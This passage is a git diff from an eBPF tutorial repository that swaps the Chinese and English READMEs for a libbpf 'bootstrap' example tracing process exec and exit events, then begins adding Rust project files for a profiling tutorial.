程序捕获进程的创建和退出事件,并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 +This code is a kernel-level eBPF program (`bootstrap.bpf.c`) used to trace `exec()` and `exit()` system calls. It captures process creation and exit events using an eBPF program and sends the relevant information to a user-space program for processing. Below is a detailed explanation of the code. -首先,我们引入所需的头文件,定义 eBPF 程序的许可证以及两个 eBPF maps:exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map,用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map,用于存储捕获的事件数据,并将其发送到用户态程序。 +First, we include the necessary headers and define the license for the eBPF program. We also define two eBPF maps: `exec_start` and `rb`. `exec_start` is a hash type eBPF map used to store the timestamp when a process starts executing. `rb` is a ring buffer type eBPF map used to store captured event data and send it to the user-space program. ```c #include "vmlinux.h" @@ -179,7 +180,7 @@ struct { const volatile unsigned long long min_duration_ns = 0; ``` -接下来,我们定义了一个名为 handle_exec 的 eBPF 程序,它会在进程执行 exec() 系统调用时触发。首先,我们从当前进程中获取 PID,记录进程开始执行的时间戳,然后将其存储在 exec_start map 中。 +Next, we define an eBPF program named `handle_exec` which is triggered when a process executes the `exec()` system call. First, we retrieve the PID from the current process, record the timestamp when the process starts executing, and store it in the `exec_start` map. ```c SEC("tp/sched/sched_process_exec") @@ -194,7 +195,7 @@ int handle_exec(struct trace_event_raw_sched_process_exec *ctx) } ``` -然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名等。之后,我们将这些数据发送到用户态程序进行处理。 +Then, we reserve an event structure from the circular buffer map `rb` and fill in the relevant data, such as the process ID, parent process ID, and process name. Afterwards, we send this data to the user-mode program for processing. ```c // reserve sample from BPF ringbuf @@ -218,7 +219,7 @@ int handle_exec(struct trace_event_raw_sched_process_exec *ctx) return 0; ``` -最后,我们定义了一个名为 handle_exit 的 eBPF 程序,它会在进程执行 exit() 系统调用时触发。首先,我们从当前进程中获取 PID 和 TID(线程 ID)。如果 PID 和 TID 不相等,说明这是一个线程退出,我们将忽略此事件。 +Finally, we define an eBPF program named `handle_exit` that will be triggered when a process executes the `exit()` system call. First, we retrieve the PID and TID (thread ID) from the current process. If the PID and TID are not equal, it means that this is a thread exit, and we will ignore this event. ```c SEC("tp/sched/sched_process_exit") @@ -237,7 +238,7 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) } ``` -接着,我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳,我们将计算进程的生命周期(持续时间),然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间,则直接返回。 +Next, we look up the timestamp of when the process started execution, which was previously stored in the `exec_start` map. If a timestamp is found, we calculate the process's lifetime duration and then remove the record from the `exec_start` map. If a timestamp is not found and a minimum duration is specified, we return directly. ```c // if we recorded start of the process, calculate lifetime duration @@ -253,7 +254,7 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) return 0; ``` -然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名、进程持续时间等。最后,我们将这些数据发送到用户态程序进行处理。 +Then, we reserve an event structure from the circular buffer map `rb` and fill in the relevant data, such as the process ID, parent process ID, process name, and process duration. Finally, we send this data to the user-mode program for processing. ```c /* reserve sample from BPF ringbuf */ @@ -265,21 +266,21 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; - e->duration_ns = duration_ns; - e->pid = pid; - e->ppid = BPF_CORE_READ(task, real_parent, tgid); - e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; - bpf_get_current_comm(&e->comm, sizeof(e->comm)); - - /* send data to user-space for post-processing */ - bpf_ringbuf_submit(e, 0); - return 0; + e->duration_ns = duration_ns;``` +e->pid = pid; +e->ppid = BPF_CORE_READ(task, real_parent, tgid); +e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; +bpf_get_current_comm(&e->comm, sizeof(e->comm)); + +/* send data to user-space for post-processing */ +bpf_ringbuf_submit(e, 0); +return 0; } ``` -这样,当进程执行 exec() 或 exit() 系统调用时,我们的 eBPF 程序会捕获相应的事件,并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出,并获取有关进程的详细信息。 +This way, when a process executes the exec() or exit() system calls, our eBPF program captures the corresponding events and sends detailed information to the user space program for further processing. This allows us to easily monitor process creation and termination and obtain detailed information about the processes. -除此之外,在 bootstrap.h 中,我们还定义了和用户态交互的数据结构: +In addition, in the bootstrap.h file, we also define the data structures for interaction with user space: ```c /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ @@ -303,7 +304,7 @@ struct event { #endif /* __BOOTSTRAP_H */ ``` -### 用户态,bootstrap.c +### User space, bootstrap.c ```c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) @@ -347,18 +348,18 @@ static error_t parse_arg(int key, char *arg, struct argp_state *state) case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); - if (errno || env.min_duration_ms <= 0) { - fprintf(stderr, "Invalid duration: %s\n", arg); - argp_usage(state); - } - break; - case ARGP_KEY_ARG: - argp_usage(state); - break; - default: - return ARGP_ERR_UNKNOWN; - } - return 0; + if (errno || env.min_duration_ms <= 0) { + fprintf(stderr, "Invalid duration: %s\n", arg); + argp_usage(state); +} +break; +case ARGP_KEY_ARG: + argp_usage(state); + break; +default: + return ARGP_ERR_UNKNOWN; +} +return 0; } static const struct argp argp = { @@ -458,7 +459,7 @@ int main(int argc, char **argv) /* Process events */ printf("%-8s %-5s %-16s %-7s %-7s %s\n", - "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); + "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ @@ -481,9 +482,9 @@ cleanup: } ``` -这个用户态程序主要用于加载、验证、附加 eBPF 程序,以及接收 eBPF 程序收集的事件数据,并将其打印出来。我们将分析一些关键部分。 +This user-level program is mainly used to load, verify, attach eBPF programs, and receive event data collected by eBPF programs and print it out. We will analyze some key parts. -首先,我们定义了一个 env 结构,用于存储命令行参数: +First, we define an env structure to store command line arguments: ```c static struct env { @@ -492,7 +493,7 @@ static struct env { } env; ``` -接下来,我们使用 argp 库来解析命令行参数: +Next, we use the argp library to parse command line arguments: ```c static const struct argp_option opts[] = { @@ -513,17 +514,16 @@ static const struct argp argp = { }; ``` -main() 函数中,首先解析命令行参数,然后设置 libbpf 的打印回调函数 libbpf_print_fn,以便在需要时输出调试信息: +In the main() function, we first parse the command line arguments, and then set the libbpf print callback function libbpf_print_fn to output debug information when needed: ```c err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; - libbpf_set_print(libbpf_print_fn); ``` -接下来,我们打开 eBPF 脚手架(skeleton)文件,将最小持续时间参数传递给 eBPF 程序,并加载和附加 eBPF 程序: +Next, we open the eBPF skeleton file, pass the minimum duration parameter to the eBPF program, and load and attach the eBPF program: ```c skel = bootstrap_bpf__open(); @@ -547,7 +547,7 @@ if (err) { } ``` -然后,我们创建一个环形缓冲区(ring buffer),用于接收 eBPF 程序发送的事件数据: +Then, we create a ring buffer to receive event data sent by the eBPF program: ```c rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); @@ -558,9 +558,9 @@ if (!rb) { } ``` -handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型(进程执行或退出),它会提取并打印事件信息,如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 +The handle_event() function handles events received from the eBPF program. Depending on the event type (process execution or exit), it extracts and prints event information such as timestamp, process name, process ID, parent process ID, file name, or exit code. -最后,我们使用 ring_buffer__poll() 函数轮询环形缓冲区,处理收到的事件数据: +Finally, we use the ring_buffer__poll() function to poll the ring buffer and process the received event data: ```c while (!exiting) { @@ -569,7 +569,7 @@ while (!exiting) { } ``` -当程序收到 SIGINT 或 SIGTERM 信号时,它会最后完成清理、退出操作,关闭和卸载 eBPF 程序: +When the program receives the SIGINT or SIGTERM signal, it completes the final cleanup and exit operations, and closes and unloads the eBPF program: ```c cleanup: @@ -581,25 +581,25 @@ cleanup: } ``` -## 安装依赖 +## Dependency Installation -构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 +Building the example requires clang, libelf, and zlib. The package names may vary in different distributions. -在 Ubuntu/Debian 上,你需要执行以下命令: +On Ubuntu/Debian, you need to execute the following command: ```shell sudo apt install clang libelf1 libelf-dev zlib1g-dev ``` -在 CentOS/Fedora 上,你需要执行以下命令: +On CentOS/Fedora, you need to execute the following command: ```shell sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel ``` -## 编译运行 +## Compile and Run -编译运行上述代码: +Compile and run the above code: ```console $ git submodule update --init --recursive @@ -614,15 +614,22 @@ TIME EVENT COMM PID PPID FILENAME/EXIT CODE 03:16:41 EXEC sh 110688 80168 /bin/sh 03:16:41 EXEC which 110689 110688 /usr/bin/which 03:16:41 EXIT which 110689 110688 [0] (0ms) -03:16:41 EXIT sh 110688 80168 [0] (0ms) -03:16:41 EXEC sh 110690 80168 /bin/sh -03:16:41 EXEC ps 110691 110690 /usr/bin/ps -03:16:41 EXIT ps 110691 110690 [0] (49ms) -03:16:41 EXIT sh 110690 80168 [0] (51ms) +03:16:41 EXIT sh 110688 80168 [0] (0ms)". ``` -## 总结 +The complete source code can be found at + +## Summary + +Through this example, we have learned how to combine eBPF programs with user-space programs. This combination provides developers with a powerful toolkit for efficient data collection and processing across the kernel and user space. By using eBPF and libbpf, you can build more efficient, scalable, and secure monitoring and performance analysis tools. + +In the following tutorials, we will continue to explore the advanced features of eBPF and share more about eBPF development practices. Through continuous learning and practice, you will have a better understanding and mastery of eBPF technology and apply it to solve real-world problems. + +If you would like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. + +## Reference -通过这个实例,我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集,可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf,您可以构建更高效、可扩展和安全的监控和性能分析工具。 +- [Building BPF applications with libbpf-bootstrap](https://nakryiko.com/posts/libbpf-bootstrap/) +- -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +> The original link of this article: diff --git a/src/11-bootstrap/README_en.md b/src/11-bootstrap/README.zh.md similarity index 53% rename from src/11-bootstrap/README_en.md rename to src/11-bootstrap/README.zh.md index 0970a506..48ea26f3 100644 --- a/src/11-bootstrap/README_en.md +++ b/src/11-bootstrap/README.zh.md @@ -1,41 +1,41 @@ -# eBPF Tutorial by Example 11: Develop User-Space Programs with libbpf and Trace exec() and exit() +# eBPF 入门开发实践教程十一:在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用 -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code during kernel runtime. +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 -In this tutorial, we will learn how kernel-space and user-space eBPF programs work together. We will also learn how to use the native libbpf to develop user-space programs, package eBPF applications into executable files, and distribute them across different kernel versions. +在本教程中,我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序,将 eBPF 应用打包为可执行文件,实现跨内核版本分发。 -## The libbpf Library and Why We Need to Use It +## libbpf 库,以及为什么需要使用它 -libbpf is a C language library that is distributed with the kernel version to assist in loading and running eBPF programs. It provides a set of C APIs for interacting with the eBPF system, allowing developers to write user-space programs more easily to load and manage eBPF programs. These user-space programs are typically used for system performance analysis, monitoring, or optimization. +libbpf 是一个 C 语言库,伴随内核版本分发,用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API,使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 -There are several advantages to using the libbpf library: +使用 libbpf 库有以下优势: -- It simplifies the process of loading, updating, and running eBPF programs. -- It provides a set of easy-to-use APIs, allowing developers to focus on writing core logic instead of dealing with low-level details. -- It ensures compatibility with the eBPF subsystem in the kernel, reducing maintenance costs. +- 它简化了 eBPF 程序的加载、更新和运行过程。 +- 它提供了一组易于使用的 API,使开发者能够专注于编写核心逻辑,而不是处理底层细节。 +- 它能够确保与内核中的 eBPF 子系统的兼容性,降低了维护成本。 -At the same time, libbpf and BTF (BPF Type Format) are important components of the eBPF ecosystem. They play critical roles in achieving compatibility across different kernel versions. BTF is a metadata format used to describe type information in eBPF programs. The primary purpose of BTF is to provide a structured way to describe data structures in the kernel so that eBPF programs can access and manipulate them more easily. +同时,libbpf 和 BTF(BPF Type Format)都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF(BPF Type Format)是一种元数据格式,用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式,以描述内核中的数据结构,以便 eBPF 程序可以更轻松地访问和操作它们。 -The key roles of BTF in achieving compatibility across different kernel versions are as follows: +BTF 在实现跨内核版本兼容方面的关键作用如下: -- BTF allows eBPF programs to access detailed type information of kernel data structures without hardcoding specific kernel versions. This enables eBPF programs to adapt to different kernel versions, achieving compatibility across kernel versions. -- By using BPF CO-RE (Compile Once, Run Everywhere) technology, eBPF programs can leverage BTF to parse the type information of kernel data structures during compilation, thereby generating eBPF programs that can run on different kernel versions. +- BTF 允许 eBPF 程序访问内核数据结构的详细类型信息,而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核,从而实现跨内核版本兼容。 +- 通过使用 BPF CO-RE(Compile Once, Run Everywhere)技术,eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息,进而生成可以在不同内核版本上运行的 eBPF 程序。 -By combining libbpf and BTF, eBPF programs can run on various kernel versions without the need for separate compilation for each kernel version. This greatly improves the portability and compatibility of the eBPF ecosystem and reduces the difficulty of development and maintenance. +结合 libbpf 和 BTF,eBPF 程序可以在各种不同版本的内核上运行,而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性,降低了开发和维护的难度。 -## What is Bootstrap +## 什么是 bootstrap -Bootstrap is a complete application that utilizes libbpf. It uses eBPF programs to trace the exec() system call in the kernel (handled by the SEC("tp/sched/sched_process_exec") handle_exec BPF program), which mainly corresponds to the creation of new processes (excluding the fork() part). In addition, it also traces the exit() system call of processes (handled by the SEC("tp/sched/sched_process_exit") handle_exit BPF program) to understand when each process exits. +Bootstrap 是一个使用 libbpf 的完整应用,它利用 eBPF 程序来跟踪内核中的 exec() 系统调用(通过 SEC("tp/sched/sched_process_exec") handle_exec BPF 程序),这主要对应于新进程的创建(不包括 fork() 部分)。此外,它还跟踪进程的 exit() 系统调用(通过 SEC("tp/sched/sched_process_exit") handle_exit BPF 程序),以了解每个进程何时退出。 -These two BPF programs work together to capture interesting information about new processes, such as the file name of the binary and measure the lifecycle of processes. They also collect interesting statistics, such as exit codes or resource consumption, when a process exits. This is a good starting point to gain a deeper understanding of the inner workings of the kernel and observe how things actually operate. +这两个 BPF 程序共同工作,允许捕获关于新进程的有趣信息,例如二进制文件的文件名,以及测量进程的生命周期,并在进程结束时收集有趣的统计信息,例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 -Bootstrap also uses the argp API (part of libc) for command-line argument parsing, allowing users to configure the behavior of the application through command-line options. This provides flexibility and allows users to customize the program behavior according to their specific needs. While these functionalities can also be achieved using the eunomia-bpf tool, using libbpf here provides higher scalability in user space at the cost of additional complexity. +Bootstrap 还使用 argp API(libc 的一部分)进行命令行参数解析,使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性,让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现,但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性,不过也带来了不少额外的复杂度。 ## Bootstrap -Bootstrap consists of two parts: kernel space and user space. The kernel space part is an eBPF program that traces the exec() and exit() system calls. The user space part is a C language program that uses the libbpf library to load and run the kernel space program and process the data collected from the kernel space program. +Bootstrap 分为两个部分:内核态和用户态。内核态部分是一个 eBPF 程序,它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序,它使用 libbpf 库来加载和运行内核态程序,并处理从内核态程序收集的数据。 -### Kernel-space eBPF Program bootstrap.bpf.c +### 内核态 eBPF 程序 bootstrap.bpf.c ```c // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause @@ -108,7 +108,7 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; - + /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; @@ -120,7 +120,8 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); - if (start_ts)duration_ns = bpf_ktime_get_ns() - *start_ts; + if (start_ts) + duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); @@ -150,9 +151,9 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) } ``` -This code is a kernel-level eBPF program (`bootstrap.bpf.c`) used to trace `exec()` and `exit()` system calls. It captures process creation and exit events using an eBPF program and sends the relevant information to a user-space program for processing. Below is a detailed explanation of the code. +这段代码是一个内核态 eBPF 程序(bootstrap.bpf.c),主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件,并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 -First, we include the necessary headers and define the license for the eBPF program. We also define two eBPF maps: `exec_start` and `rb`. `exec_start` is a hash type eBPF map used to store the timestamp when a process starts executing. `rb` is a ring buffer type eBPF map used to store captured event data and send it to the user-space program. +首先,我们引入所需的头文件,定义 eBPF 程序的许可证以及两个 eBPF maps:exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map,用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map,用于存储捕获的事件数据,并将其发送到用户态程序。 ```c #include "vmlinux.h" @@ -178,7 +179,7 @@ struct { const volatile unsigned long long min_duration_ns = 0; ``` -Next, we define an eBPF program named `handle_exec` which is triggered when a process executes the `exec()` system call. First, we retrieve the PID from the current process, record the timestamp when the process starts executing, and store it in the `exec_start` map. +接下来,我们定义了一个名为 handle_exec 的 eBPF 程序,它会在进程执行 exec() 系统调用时触发。首先,我们从当前进程中获取 PID,记录进程开始执行的时间戳,然后将其存储在 exec_start map 中。 ```c SEC("tp/sched/sched_process_exec") @@ -193,7 +194,7 @@ int handle_exec(struct trace_event_raw_sched_process_exec *ctx) } ``` -Then, we reserve an event structure from the circular buffer map `rb` and fill in the relevant data, such as the process ID, parent process ID, and process name. Afterwards, we send this data to the user-mode program for processing. +然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名等。之后,我们将这些数据发送到用户态程序进行处理。 ```c // reserve sample from BPF ringbuf @@ -217,7 +218,7 @@ Then, we reserve an event structure from the circular buffer map `rb` and fill i return 0; ``` -Finally, we define an eBPF program named `handle_exit` that will be triggered when a process executes the `exit()` system call. First, we retrieve the PID and TID (thread ID) from the current process. If the PID and TID are not equal, it means that this is a thread exit, and we will ignore this event. +最后,我们定义了一个名为 handle_exit 的 eBPF 程序,它会在进程执行 exit() 系统调用时触发。首先,我们从当前进程中获取 PID 和 TID(线程 ID)。如果 PID 和 TID 不相等,说明这是一个线程退出,我们将忽略此事件。 ```c SEC("tp/sched/sched_process_exit") @@ -236,7 +237,7 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) } ``` -Next, we look up the timestamp of when the process started execution, which was previously stored in the `exec_start` map. If a timestamp is found, we calculate the process's lifetime duration and then remove the record from the `exec_start` map. If a timestamp is not found and a minimum duration is specified, we return directly. +接着,我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳,我们将计算进程的生命周期(持续时间),然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间,则直接返回。 ```c // if we recorded start of the process, calculate lifetime duration @@ -252,7 +253,7 @@ Next, we look up the timestamp of when the process started execution, which was return 0; ``` -Then, we reserve an event structure from the circular buffer map `rb` and fill in the relevant data, such as the process ID, parent process ID, process name, and process duration. Finally, we send this data to the user-mode program for processing. +然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名、进程持续时间等。最后,我们将这些数据发送到用户态程序进行处理。 ```c /* reserve sample from BPF ringbuf */ @@ -264,21 +265,21 @@ Then, we reserve an event structure from the circular buffer map `rb` and fill i task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; - e->duration_ns = duration_ns;``` -e->pid = pid; -e->ppid = BPF_CORE_READ(task, real_parent, tgid); -e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; -bpf_get_current_comm(&e->comm, sizeof(e->comm)); - -/* send data to user-space for post-processing */ -bpf_ringbuf_submit(e, 0); -return 0; + e->duration_ns = duration_ns; + e->pid = pid; + e->ppid = BPF_CORE_READ(task, real_parent, tgid); + e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + + /* send data to user-space for post-processing */ + bpf_ringbuf_submit(e, 0); + return 0; } ``` -This way, when a process executes the exec() or exit() system calls, our eBPF program captures the corresponding events and sends detailed information to the user space program for further processing. This allows us to easily monitor process creation and termination and obtain detailed information about the processes. +这样,当进程执行 exec() 或 exit() 系统调用时,我们的 eBPF 程序会捕获相应的事件,并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出,并获取有关进程的详细信息。 -In addition, in the bootstrap.h file, we also define the data structures for interaction with user space: +除此之外,在 bootstrap.h 中,我们还定义了和用户态交互的数据结构: ```c /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ @@ -302,7 +303,7 @@ struct event { #endif /* __BOOTSTRAP_H */ ``` -### User space, bootstrap.c +### 用户态,bootstrap.c ```c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) @@ -346,18 +347,18 @@ static error_t parse_arg(int key, char *arg, struct argp_state *state) case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); - if (errno || env.min_duration_ms <= 0) { - fprintf(stderr, "Invalid duration: %s\n", arg); - argp_usage(state); -} -break; -case ARGP_KEY_ARG: - argp_usage(state); - break; -default: - return ARGP_ERR_UNKNOWN; -} -return 0; + if (errno || env.min_duration_ms <= 0) { + fprintf(stderr, "Invalid duration: %s\n", arg); + argp_usage(state); + } + break; + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; } static const struct argp argp = { @@ -457,7 +458,7 @@ int main(int argc, char **argv) /* Process events */ printf("%-8s %-5s %-16s %-7s %-7s %s\n", - "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); + "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ @@ -480,9 +481,9 @@ cleanup: } ``` -This user-level program is mainly used to load, verify, attach eBPF programs, and receive event data collected by eBPF programs and print it out. We will analyze some key parts. +这个用户态程序主要用于加载、验证、附加 eBPF 程序,以及接收 eBPF 程序收集的事件数据,并将其打印出来。我们将分析一些关键部分。 -First, we define an env structure to store command line arguments: +首先,我们定义了一个 env 结构,用于存储命令行参数: ```c static struct env { @@ -491,7 +492,7 @@ static struct env { } env; ``` -Next, we use the argp library to parse command line arguments: +接下来,我们使用 argp 库来解析命令行参数: ```c static const struct argp_option opts[] = { @@ -512,16 +513,17 @@ static const struct argp argp = { }; ``` -In the main() function, we first parse the command line arguments, and then set the libbpf print callback function libbpf_print_fn to output debug information when needed: +main() 函数中,首先解析命令行参数,然后设置 libbpf 的打印回调函数 libbpf_print_fn,以便在需要时输出调试信息: ```c err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; + libbpf_set_print(libbpf_print_fn); ``` -Next, we open the eBPF skeleton file, pass the minimum duration parameter to the eBPF program, and load and attach the eBPF program: +接下来,我们打开 eBPF 脚手架(skeleton)文件,将最小持续时间参数传递给 eBPF 程序,并加载和附加 eBPF 程序: ```c skel = bootstrap_bpf__open(); @@ -545,7 +547,7 @@ if (err) { } ``` -Then, we create a ring buffer to receive event data sent by the eBPF program: +然后,我们创建一个环形缓冲区(ring buffer),用于接收 eBPF 程序发送的事件数据: ```c rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); @@ -556,9 +558,9 @@ if (!rb) { } ``` -The handle_event() function handles events received from the eBPF program. Depending on the event type (process execution or exit), it extracts and prints event information such as timestamp, process name, process ID, parent process ID, file name, or exit code. +handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型(进程执行或退出),它会提取并打印事件信息,如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 -Finally, we use the ring_buffer__poll() function to poll the ring buffer and process the received event data: +最后,我们使用 ring_buffer__poll() 函数轮询环形缓冲区,处理收到的事件数据: ```c while (!exiting) { @@ -567,7 +569,7 @@ while (!exiting) { } ``` -When the program receives the SIGINT or SIGTERM signal, it completes the final cleanup and exit operations, and closes and unloads the eBPF program: +当程序收到 SIGINT 或 SIGTERM 信号时,它会最后完成清理、退出操作,关闭和卸载 eBPF 程序: ```c cleanup: @@ -579,25 +581,25 @@ cleanup: } ``` -## Dependency Installation +## 安装依赖 -Building the example requires clang, libelf, and zlib. The package names may vary in different distributions. +构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 -On Ubuntu/Debian, you need to execute the following command: +在 Ubuntu/Debian 上,你需要执行以下命令: ```shell sudo apt install clang libelf1 libelf-dev zlib1g-dev ``` -On CentOS/Fedora, you need to execute the following command: +在 CentOS/Fedora 上,你需要执行以下命令: ```shell sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel ``` -## Compile and Run +## 编译运行 -Compile and run the above code: +编译运行上述代码: ```console $ git submodule update --init --recursive @@ -612,22 +614,15 @@ TIME EVENT COMM PID PPID FILENAME/EXIT CODE 03:16:41 EXEC sh 110688 80168 /bin/sh 03:16:41 EXEC which 110689 110688 /usr/bin/which 03:16:41 EXIT which 110689 110688 [0] (0ms) -03:16:41 EXIT sh 110688 80168 [0] (0ms)". +03:16:41 EXIT sh 110688 80168 [0] (0ms) +03:16:41 EXEC sh 110690 80168 /bin/sh +03:16:41 EXEC ps 110691 110690 /usr/bin/ps +03:16:41 EXIT ps 110691 110690 [0] (49ms) +03:16:41 EXIT sh 110690 80168 [0] (51ms) ``` -The complete source code can be found at - -## Summary - -Through this example, we have learned how to combine eBPF programs with user-space programs. This combination provides developers with a powerful toolkit for efficient data collection and processing across the kernel and user space. By using eBPF and libbpf, you can build more efficient, scalable, and secure monitoring and performance analysis tools. - -In the following tutorials, we will continue to explore the advanced features of eBPF and share more about eBPF development practices. Through continuous learning and practice, you will have a better understanding and mastery of eBPF technology and apply it to solve real-world problems. - -If you would like to learn more about eBPF knowledge and practices, please refer to the official documentation of eunomia-bpf: . You can also visit our tutorial code repository at or website for more examples and complete tutorials. - -## Reference +## 总结 -- [Building BPF applications with libbpf-bootstrap](https://nakryiko.com/posts/libbpf-bootstrap/) -- +通过这个实例,我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集,可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf,您可以构建更高效、可扩展和安全的监控和性能分析工具。 -> The original link of this article: +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/12-profile/.config b/src/12-profile/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/12-profile/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/12-profile/.gitignore b/src/12-profile/.gitignore new file mode 100644 index 00000000..3a1b4489 --- /dev/null +++ b/src/12-profile/.gitignore @@ -0,0 +1,2 @@ +/src/bpf/.output +/target diff --git a/src/12-profile/Cargo.lock b/src/12-profile/Cargo.lock new file mode 100644 index 00000000..5135b871 --- /dev/null +++ b/src/12-profile/Cargo.lock @@ -0,0 +1,909 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ae563653d1938f79b1ab1b5e668c87c76a9930414574a6583a7b7e11a8e6192" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.11" +source = 